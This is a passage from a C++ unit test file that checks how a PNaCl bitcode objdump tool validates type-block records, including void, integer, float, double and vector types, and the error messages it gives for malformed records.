const uint64_t CountRecordEmpty[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 1, Terminator };
EXPECT_FALSE(Munger.runTestForErrors(ARRAY(CountRecordEmpty)));
EXPECT_EQ("Error(32:0): Count record should have 1 argument. Found: 0\n"
"Error(38:6): Expected 0 types but found: 2\n",
Munger.getTestResults());
// Test if count record has extraneous values.
const uint64_t CountRecordTooLong[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 1, 14, 2, Terminator
};
EXPECT_FALSE(Munger.runTestForErrors(ARRAY(CountRecordTooLong)));
EXPECT_EQ("Error(32:0): Count record should have 1 argument. Found: 2\n"
"Error(40:2): Expected 0 types but found: 2\n",
Munger.getTestResults());
}
// Tests handling of the void record in the types block.
TEST(NaClObjDumpTypesTest, TestVoidRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 1, Terminator,
3, 2, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 3;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test where void is properly specified.
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 1;\n"
" @t0 = void;\n"
" }\n"
"}\n",
Munger.getTestResults());
// Test where void record has extraneous values.
const uint64_t VoidRecordTooLong[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 2, 5, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(VoidRecordTooLong)));
EXPECT_EQ("Error(34:4): Void record shouldn't have arguments. Found: 1\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t0 = void;\n",
Munger.getLinesWithSubstring("@t0"));
}
// Tests handling of integer records in the types block.
TEST(NaClObjDumpTypesTest, TestIntegerRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 1, Terminator,
3, 7, 1, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 3;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Tests that we accept i1.
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 1;\n"
" @t0 = i1;\n"
" }\n"
"}\n",
Munger.getTestResults());
// Tests that we reject i2.
const uint64_t TestTypeI2[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 7, 2, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(TestTypeI2)));
EXPECT_EQ(
"Error(34:4): Integer record contains bad integer size: 2\n",
Munger.getLinesWithPrefix(ErrorPrefix));
// Note: Error recovery uses i32 when type size is bad.
EXPECT_EQ(
" @t0 = i32;\n",
Munger.getLinesWithSubstring("@t0"));
// Tests that we accept i8.
const uint64_t TestTypeI8[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 7, 8, Terminator
};
EXPECT_TRUE(Munger.runTest(ARRAY(TestTypeI8)));
// Tests that we accept i16.
const uint64_t TestTypeI16[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 7, 16, Terminator
};
EXPECT_TRUE(Munger.runTest(ARRAY(TestTypeI16)));
// Tests that we accept i32.
const uint64_t TestTypeI32[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 7, 32, Terminator
};
EXPECT_TRUE(Munger.runTest(ARRAY(TestTypeI32)));
// Tests that we accept i64.
const uint64_t TestTypeI64[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 7, 64, Terminator
};
EXPECT_TRUE(Munger.runTest(ARRAY(TestTypeI64)));
// Tests that we reject i128.
const uint64_t TestTypeI128[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 7, 128, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(TestTypeI128)));
EXPECT_EQ(
"Error(34:4): Integer record contains bad integer size: 128\n",
Munger.getLinesWithPrefix(ErrorPrefix));
// Note: Error recovery uses i32 when type size is bad.
EXPECT_EQ(
" @t0 = i32;\n",
Munger.getLinesWithSubstring("@t0"));
// Tests when not enough values are in the integer record.
const uint64_t RecordTooShort[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 7, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(RecordTooShort)));
EXPECT_EQ(
"Error(34:4): Integer record should have one argument. Found: 0\n",
Munger.getLinesWithPrefix(ErrorPrefix));
// Note: Error recovery uses i32 when type size is bad.
EXPECT_EQ(
" @t0 = i32;\n",
Munger.getLinesWithSubstring("@t0"));
// Tests when too many values are in the integer record.
const uint64_t RecordTooLong[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 7, 32, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForErrors(ARRAY(RecordTooLong)));
EXPECT_EQ(
"Error(34:4): Integer record should have one argument. Found: 2\n",
Munger.getTestResults());
}
// Tests handling of the float record in the types block.
TEST(NaClObjDumpTypesTest, TestFloatRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 1, Terminator,
3, 3, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 3;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test that we accept the float record.
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 1;\n"
" @t0 = float;\n"
" }\n"
"}\n",
Munger.getTestResults());
// Test error for float record that has extraneous values.
const uint64_t FloatRecordTooLong[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 3, 5, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(FloatRecordTooLong)));
EXPECT_EQ(
"Error(34:4): Float record shoudn't have arguments. Found: 1\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t0 = float;\n",
Munger.getLinesWithSubstring("@t"));
}
// Tests handling of the double record in the types block.
TEST(NaClObjDumpTypesTest, TestDoubleRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 1, Terminator,
3, 4, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 3;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test that we accept the double record.
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 1;\n"
" @t0 = double;\n"
" }\n"
"}\n",
Munger.getTestResults());
// Test error for double record that has extraneous values.
const uint64_t DoubleRecordTooLong[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 4, 5, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(DoubleRecordTooLong)));
EXPECT_EQ(
"Error(34:4): Double record shound't have arguments. Found: 1\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t0 = double;\n",
Munger.getLinesWithSubstring("@t"));
}
// Test vector records of the wrong size.
TEST(NaClObjDumpTypesTest, TestVectorRecordLength) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 2, Terminator,
3, 7, 32, Terminator,
3, 12, 4, 0, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 4;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test correct length vector record.
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 2;\n"
" @t0 = i32;\n"
" @t1 = <4 x i32>;\n"
" }\n"
"}\n",
Munger.getTestResults());
// Test vector record too short.
uint64_t RecordTooShort[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 4, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(RecordTooShort)));
EXPECT_EQ(
"Error(37:6): Vector record should contain two arguments. Found: 1\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = void;\n",
Munger.getLinesWithSubstring("@t1"));
// Test vector record too long.
uint64_t RecordTooLong[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 4, 0, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(RecordTooLong)));
EXPECT_EQ(
"Error(37:6): Vector record should contain two arguments. Found: 3\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = void;\n",
Munger.getLinesWithSubstring("@t1"));
}
// Test i1 vector records in the types block.
TEST(NaClObjDumpTypesTest, TestI1VectorRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 2, Terminator,
3, 7, 1, Terminator,
3, 12, 4, 0, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 4;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test that we accept <4 x i1>.
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 2;\n"
" @t0 = i1;\n"
" @t1 = <4 x i1>;\n"
" }\n"
"}\n",
Munger.getTestResults());
// Test that we don't handle <1 x i1>.
const uint64_t Vector1xI1[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 1, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector1xI1)));
EXPECT_EQ(
"Error(37:0): Vector type <1 x i1> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <1 x i1>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <2 x i1>.
const uint64_t Vector2xI1[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 2, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector2xI1)));
EXPECT_EQ(
"Error(37:0): Vector type <2 x i1> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <2 x i1>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <3 x i1>.
const uint64_t Vector3xI1[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 3, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector3xI1)));
EXPECT_EQ(
"Error(37:0): Vector type <3 x i1> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <3 x i1>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we handle <8 x i1>.
const uint64_t Vector8xI1[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 8, 0, Terminator
};
EXPECT_TRUE(Munger.runTest(ARRAY(Vector8xI1)));
// Test that we handle <16 x i1>.
const uint64_t Vector16xI1[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 16, 0, Terminator
};
EXPECT_TRUE(Munger.runTest(ARRAY(Vector16xI1)));
// Test that we reject <32 x i1>.
const uint64_t Vector32xI1[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 32, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector32xI1)));
EXPECT_EQ(
"Error(37:0): Vector type <32 x i1> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <32 x i1>;\n",
Munger.getLinesWithSubstring("@t1"));
}
// Test i8 vector records in the types block.
TEST(NaClObjDumpTypesTest, TestI8VectorRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 2, Terminator,
3, 7, 8, Terminator,
3, 12, 16, 0, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 4;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test that we accept <16 x i8>.
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 2;\n"
" @t0 = i8;\n"
" @t1 = <16 x i8>;\n"
" }\n"
"}\n",
Munger.getTestResults());
// Test that we reject <1 x i8>.
const uint64_t Vector1xI8[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 1, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector1xI8)));
EXPECT_EQ(
"Error(37:0): Vector type <1 x i8> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <1 x i8>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <2 x i8>.
const uint64_t Vector2xI8[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 2, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector2xI8)));
EXPECT_EQ(
"Error(37:0): Vector type <2 x i8> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <2 x i8>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <3 x i8>.
const uint64_t Vector3xI8[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 3, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector3xI8)));
EXPECT_EQ(
"Error(37:0): Vector type <3 x i8> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <3 x i8>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <4 x i8>.
const uint64_t Vector4xI8[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 4, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector4xI8)));
EXPECT_EQ(
"Error(37:0): Vector type <4 x i8> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <4 x i8>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <8 x i8>.
const uint64_t Vector8xI8[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 8, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector8xI8)));
EXPECT_EQ(
"Error(37:0): Vector type <8 x i8> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <8 x i8>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <32 x i8>.
const uint64_t Vector32xI8[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 32, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector32xI8)));
EXPECT_EQ(
"Error(37:0): Vector type <32 x i8> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <32 x i8>;\n",
Munger.getLinesWithSubstring("@t1"));
}
// Test i16 vector records in the types block.
TEST(NaClObjDumpTypesTest, TestI16VectorRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 2, Terminator,
3, 7, 16, Terminator,
3, 12, 8, 0, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 4;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test that we accept <8 x i16>.
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 2;\n"
" @t0 = i16;\n"
" @t1 = <8 x i16>;\n"
" }\n"
"}\n",
Munger.getTestResults());
// Test that we reject <1 x i16>.
const uint64_t Vector1xI16[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 1, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector1xI16)));
EXPECT_EQ(
"Error(37:0): Vector type <1 x i16> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <1 x i16>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <2 x i16>.
const uint64_t Vector2xI16[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 2, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector2xI16)));
EXPECT_EQ(
"Error(37:0): Vector type <2 x i16> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <2 x i16>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <3 x i16>.
const uint64_t Vector3xI16[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 3, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector3xI16)));
EXPECT_EQ(
"Error(37:0): Vector type <3 x i16> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <3 x i16>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <4 x i16>.
const uint64_t Vector4xI16[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 4, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector4xI16)));
EXPECT_EQ(
"Error(37:0): Vector type <4 x i16> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <4 x i16>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <16 x i16>.
const uint64_t Vector16xI16[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 16, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector16xI16)));
EXPECT_EQ(
"Error(37:0): Vector type <16 x i16> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <16 x i16>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <32 x i16>.
const uint64_t Vector32xI16[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 32, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector32xI16)));
EXPECT_EQ(
"Error(37:0): Vector type <32 x i16> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <32 x i16>;\n",
Munger.getLinesWithSubstring("@t1"));
}
// Test i32 vector records in the types block.
TEST(NaClObjDumpTypesTest, TestI32VectorRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 2, Terminator,
3, 7, 32, Terminator,
3, 12, 4, 0, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 4;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test that we accept <4 x i32>.
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 2;\n"
" @t0 = i32;\n"
" @t1 = <4 x i32>;\n"
" }\n"
"}\n",
Munger.getTestResults());
// Test that we reject <1 x i32>.
const uint64_t Vector1xI32[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 1, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector1xI32)));
EXPECT_EQ(
"Error(37:6): Vector type <1 x i32> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <1 x i32>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <2 x i32>.
const uint64_t Vector2xI32[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 2, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector2xI32)));
EXPECT_EQ(
"Error(37:6): Vector type <2 x i32> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <2 x i32>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <3 x i32>.
const uint64_t Vector3xI32[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 3, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector3xI32)));
EXPECT_EQ(
"Error(37:6): Vector type <3 x i32> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <3 x i32>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <8 x i32>.
const uint64_t Vector8xI32[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 8, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector8xI32)));
EXPECT_EQ(
"Error(37:6): Vector type <8 x i32> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <8 x i32>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <16 x i32>.
const uint64_t Vector16xI32[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 16, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector16xI32)));
EXPECT_EQ(
"Error(37:6): Vector type <16 x i32> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <16 x i32>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <32 x i32>.
const uint64_t Vector32xI32[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 32, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector32xI32)));
EXPECT_EQ(
"Error(37:6): Vector type <32 x i32> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <32 x i32>;\n",
Munger.getLinesWithSubstring("@t1"));
}
// Test i64 vector types.
TEST(NaClObjDumpTypesTest, TestI64VectorRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 2, Terminator,
3, 7, 64, Terminator,
3, 12, 1, 0, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 4;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test that we reject <1 x i64>.
EXPECT_FALSE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 2;\n"
" @t0 = i64;\n"
" @t1 = <1 x i64>;\n"
"Error(37:6): Vector type <1 x i64> not allowed.\n"
" }\n"
"}\n",
Munger.getTestResults());
// Test that we don't handle <2 x i64>.
const uint64_t Vector2xI64[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 2, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector2xI64)));
EXPECT_EQ(
"Error(37:6): Vector type <2 x i64> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <2 x i64>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <3 x i64>.
const uint64_t Vector3xI64[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 3, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector3xI64)));
EXPECT_EQ(
"Error(37:6): Vector type <3 x i64> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <3 x i64>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we reject <4 x i64>.
const uint64_t Vector4xI64[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 4, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector4xI64)));
EXPECT_EQ(
"Error(37:6): Vector type <4 x i64> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <4 x i64>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <8 x i64>.
const uint64_t Vector8xI64[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 8, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector8xI64)));
EXPECT_EQ(
"Error(37:6): Vector type <8 x i64> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <8 x i64>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <16 x i64>.
const uint64_t Vector16xI64[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 16, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector16xI64)));
EXPECT_EQ(
"Error(37:6): Vector type <16 x i64> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <16 x i64>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we don't handle <32 x i64>.
const uint64_t Vector32xI64[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 32, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector32xI64)));
EXPECT_EQ(
"Error(37:6): Vector type <32 x i64> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <32 x i64>;\n",
Munger.getLinesWithSubstring("@t1"));
}
// Test handling of float vector types.
TEST(NaClObjDumpTypesTest, TestFloatVectorRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 2, Terminator,
3, 3, Terminator,
3, 12, 4, 0, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 4;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test that we accept <4 x float>.
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 2;\n"
" @t0 = float;\n"
" @t1 = <4 x float>;\n"
" }\n"
"}\n",
Munger.getTestResults());
// Test that we reject <1 x float>.
const uint64_t Vector1xFloat[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 1, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector1xFloat)));
EXPECT_EQ(
"Error(36:2): Vector type <1 x float> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <1 x float>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we reject <2 x float>.
const uint64_t Vector2xFloat[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 2, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector2xFloat)));
EXPECT_EQ(
"Error(36:2): Vector type <2 x float> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <2 x float>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we reject <3 x float>.
const uint64_t Vector3xFloat[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 3, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector3xFloat)));
EXPECT_EQ(
"Error(36:2): Vector type <3 x float> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <3 x float>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we reject <8 x float>.
const uint64_t Vector8xFloat[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 8, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector8xFloat)));
EXPECT_EQ(
"Error(36:2): Vector type <8 x float> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <8 x float>;\n",
Munger.getLinesWithSubstring("@t1"));
}
// Test handling of double vector types.
TEST(NaClObjDumpTypesTest, TestDoubleVectorRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 2, Terminator,
3, 4, Terminator,
3, 12, 4, 0, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 4;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test that we reject <4 x double>.
EXPECT_FALSE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 2;\n"
" @t0 = double;\n"
" @t1 = <4 x double>;\n"
"Error(36:2): Vector type <4 x double> not allowed.\n"
" }\n"
"}\n",
Munger.getTestResults());
// Test that we reject <1 x double>.
const uint64_t Vector1xDouble[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 1, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector1xDouble)));
EXPECT_EQ(
"Error(36:2): Vector type <1 x double> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <1 x double>;\n",
Munger.getLinesWithSubstring("@t1"));
